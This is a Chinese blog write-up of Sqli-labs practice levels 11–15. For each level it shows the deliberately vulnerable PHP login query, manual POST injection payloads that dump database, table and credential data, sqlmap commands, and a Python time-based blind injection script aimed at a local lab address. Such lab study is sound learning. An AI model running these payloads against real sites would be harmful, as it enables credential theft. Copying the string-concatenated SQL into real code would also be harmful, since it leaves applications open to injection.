zoukankan      html  css  js  c++  java
  • 重闯Sqli-labs关卡第三天(11-15关)

    前言

    今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错,之后就刷了刷攻防世界的题,题有眉目但是还是忍不住看了WP 服了自己了!!!一直刷到了晚上也不知道几点我妈买了柚子回了吃了会 回来继续战斗 想起来自己自从回来就没怎么继续刷sql靶场的题了,又刷了五关题。总结下这五关内容现在已经两点了总结完就该睡了。

    第十一关:(基于错误的POST型单引号字符型注入)

    分析代码有报错可以使用多种注入方式

    核心代码:

    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    手工注入payload:

    1 uname=admin' order by 2#&passwd=admin&submit=Submit
    2 uname=admin' union select 1,2#&passwd=admin&submit=Submit
    3 uname=0' union select 1,2#&passwd=admin&submit=Submit
    4 uname=0' union select user(),version() #&passwd=admin&submit=Submit
    5 uname=0' union select 1,database()#&passwd=admin&submit=Submit
    6 uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
    7 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name=users#&passwd=admin&submit=Submit
    8 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit
    9 uname=0' UNION SELECT 1,GROUP_CONCAT(USERNAME,'-',PASSWORD) FROM USERS#&passwd=admin&submit=Submit

    SQLmap 注入payload:

    bp抓包保存为lou.txt
    python sqlmap.py -r lou.txt
    python sqlmap.py -r lou.txt --dbs 列出所有数据库
    python sqlmap.py -r lou.txt --current-dbs 列出当前数据库
    python sqlmap.py -r lou.txt -D 'security' --tables 列出security数据库中所有的表
    python sqlmap.py -r lou.txt -D 'security' -T "users" --columns 列出users表中的所有列
    python sqlmap.py -r lou.txt -D 'security' -T "users" -C "username","password" --dump 列出所有列中的数据

    第十二关(基于错误的双引号POST型字符型变形的注入)

    这一关仅在SQL语句处理上根12关不同其他都一一致 

    核心代码:

    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    手工注入payload:

    1 uname=admin") and 1=1 --+&passwd=admin&submit=Submit
    2 uname=admin") and 1=2 --+&passwd=admin&submit=Submit
    3 uname=admin") order by 2 --+&passwd=admin&submit=Submit
    4 uname=0") union select 1,2 --+&passwd=admin&submit=Submit
    5 uname=0") union select version(),database() --+&passwd=admin&submit=Submit
    6 uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
    7 uname=0") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit
    8 uname=0") union select group_concat(username),group_concat(password) from users  --+&passwd=admin&submit=Submit

    第十三关(POST单引号变形双注入)

    这一关也是根上面差不多紧紧是SQL语句部分不一致

    核心代码:

    @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    可以用上述方法进行注入

    也可以用下面的脚本

    python脚本:

     1 import requests
     2 import time
     3 url="http://192.168.233.1/lou/sql/Less-13/"   
     4 allString='''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnm'''
     5 
     6 database=""
     7 
     8 for i in range(1,10):
     9     
    10     for j in allString:
    11         payload="admin') and if(substr(database(),{},1)='{}',sleep(3),1)#".format(int(i),str(j))
    12         
    13         data={
    14                 "uname":payload,
    15                 "passwd":"admin&submit=Submit"
    16                 }   
    17         print(data)
    18         urls=requests.post(url,data=data)
    19         #print(urls.text)
    20         
    21         t=urls.elapsed.total_seconds()
    22         #print(j)
    23         if t>=3:
    24             #print(j)
    25             database+=j
    26             print(data)
    27      
    28         elif t<3 and j=='M':
    29             break
    30     
    31 print('DATABASE:',database) 

    第十四关

    这一关也是紧sql语句处理部分不一致可以对比上面

    核心代码:

    $uname='"'.$uname.'"';
        $passwd='"'.$passwd.'"'; 
        @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
        $result=mysql_query($sql);

    注入参考上面皆可以

    第十五关 (基于bool型/时间延迟单引号POST型盲注)

    这一关与上面都不一样 这个页面没有报错信息 只有登录成功/失败页面 只能通过sleep()时间注入

    核心代码:

    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);

    手工payload:

    1 没任何错误信息只能盲注通过时间注入
    2 uname=admin' and 1=1 --+&passwd=admin&submit=Submit 
    3 uname=admin' and 1=1 --+&passwd=admin&submit=Submit 
    4 uname=admin' and sleep(5) --+&passwd=admin&submit=Submit 

    工具注入 参考十三关脚本修改即可

  • 相关阅读:
    python中的深拷贝和浅拷贝
    Andrew NG 机器学习编程作业6 Octave
    Andrew NG 机器学习编程作业5 Octave
    梯度下降算法对比(批量下降/随机下降/mini-batch)
    无监督算法
    深度学习的方差与偏差
    Andrew NG 机器学习编程作业4 Octave
    数据约束
    数据库的查询
    MySQL的入门与使用,sqlyog对数据库,表和数据的管理
  • 原文地址:https://www.cnblogs.com/xhds/p/12210896.html
Copyright © 2011-2022 走看看